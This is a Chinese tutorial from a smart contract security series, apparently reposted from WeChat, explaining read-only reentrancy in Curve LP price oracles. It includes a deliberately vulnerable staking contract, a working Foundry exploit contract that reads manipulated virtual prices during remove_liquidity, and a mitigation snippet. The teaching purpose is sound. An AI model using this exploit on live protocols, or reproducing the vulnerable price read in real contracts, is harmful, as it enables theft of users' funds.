Name: 只读重入漏洞
Description:只读重入漏洞是智能合约设计中的一个缺陷,允许攻击者利用函数的“只读”特性来对合约状态进行非预期的更改。具体来说,当攻击者使用ICurve合约的remove_liquidity函数触发ExploitContract中的接收函数时,这个漏洞就会产生。这是通过一个安全的智能合约“A”从外部调用攻击者合约中的fallback()函数来实现的。
通过这种利用,攻击者能够在fallback()函数中执行代码,针对与合约“A”间接相关的目标合约“B”。合约“B”从合约“A”派生LP代币的价格,使其容易受到重入攻击的操纵和非预期的价格变动。
Mitigation:避免在设计为只读的函数内进行任何状态更改操作。Makerdao示例:
// 如果在状态修改池函数执行期间被调用,这将回退。
if (nonreentrant) {
uint256[2] calldata amounts;
CurvePoolLike(pool).remove_liquidity(0, amounts);
}
REF
📑Web3 security course for devs👀
Read only reentrancy - short intro.This issue found by @chain_security #web3 #web3sec pic.twitter.com/9ieQRCDTmW
— SunSec (@1nf0s3cpt) November 10, 2022
https://chainsecurity.com/heartbreaks-curve-lp-oracles/
https://medium.com/@zokyo.io/read-only-reentrancy-attacks-understanding-the-threat-to-your-smart-contracts-99444c0a7334
VulnContract:
contract VulnContract {
IERC20 public constant token = IERC20(LP_TOKEN);
ICurve private constant pool = ICurve(STETH_POOL);
mapping(address => uint) public balanceOf;
function stake(uint amount) external {
token.transferFrom(msg.sender, address(this), amount);
balanceOf[msg.sender] += amount;
}
function unstake(uint amount) external {
balanceOf[msg.sender] -= amount;
token.transfer(msg.sender, amount);
}
function getReward() external view returns (uint) {
//根据池LP代币的当前虚拟价格奖励代币
uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) /
1 ether;
// 省略转移奖励代币的代码
return reward;
}
}
如何测试:
forge test --contracts src/test/ReadOnlyReentrancy.sol -vvvv
// 测试VulnContract中只读重入漏洞利用的函数
function testPwn() public {
// 通过攻击合约向VulnContract质押10个以太币
hack.stakeTokens{value: 10 ether}();
// 对VulnContract执行只读重入攻击
hack.performReadOnlyReentrnacy{value: 100000 ether}();
}
// 利用VulnContract中只读重入漏洞的攻击合约
contract ExploitContract {
// 用于与ICurve和IERC20合约交互的接口
ICurve private constant pool = ICurve(STETH_POOL);
IERC20 public constant lpToken = IERC20(LP_TOKEN);
// 要被利用的易受攻击的合约
VulnContract private immutable target;
// 构造函数,初始化易受攻击的合约
constructor(address _target) {
target = VulnContract(_target);
}
// 将LP代币质押到VulnContract的函数
function stakeTokens() external payable {
// 要添加到Curve池的流动性金额
uint[2] memory amounts = [msg.value, 0];
// 向Curve池添加流动性并收到LP代币作为回报
uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
// 在质押到VulnContract后记录LP代币的价格
console.log(
"在VulnContract质押后LP代币的价格",
pool.get_virtual_price()
);
// 批准VulnContract代表此合约花费LP代币
lpToken.approve(address(target), lp);
// 将LP代币质押到VulnContract
target.stake(lp);
}
// 对VulnContract执行只读重入攻击的函数
function performReadOnlyReentrnacy() external payable {
// 要添加到Curve池的流动性金额
uint[2] memory amounts = [msg.value, 0];
// 向Curve池添加流动性并收到LP代币作为回报
uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
// 在执行remove_liquidity之前记录LP代币的价格
console.log(
"remove_liquidity()之前的LP代币价格",
pool.get_virtual_price()
);
// 移除流动性时接收的最小金额
uint[2] memory min_amounts = [uint(0), uint(0)];
// 从Curve池移除流动性,这将触发接收函数
pool.remove_liquidity(lp, min_amounts);
// 在移除流动性后记录LP代币的价格
console.log(
"--------------------------------------------------------------------"
);
console.log(
"remove_liquidity()之后的LP代币价格",
pool.get_virtual_price()
);
// 如果没有调用只读重入,记录从VulnContract接收的奖励金额
uint reward = target.getReward();
console.log("如果没有调用只读重入,将获得的奖励: ", reward);
}
// 当从Curve池移除流动性时将被触发的fallback函数
receive() external payable {
// 在移除流动性期间记录LP代币的价格
console.log(
"--------------------------------------------------------------------"
);
console.log(
"在remove_liquidity()期间的LP代币价格",
pool.get_virtual_price()
);
// 如果调用了只读重入,记录从VulnContract接收的奖励金额
uint reward = target.getReward();
console.log("如果调用了只读重入,将获得的奖励: ", reward);
}
}
红框:成功利用,价格被操纵
- END -
原文始发于微信公众号(3072):智能合约漏洞入门(5) 只读重入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论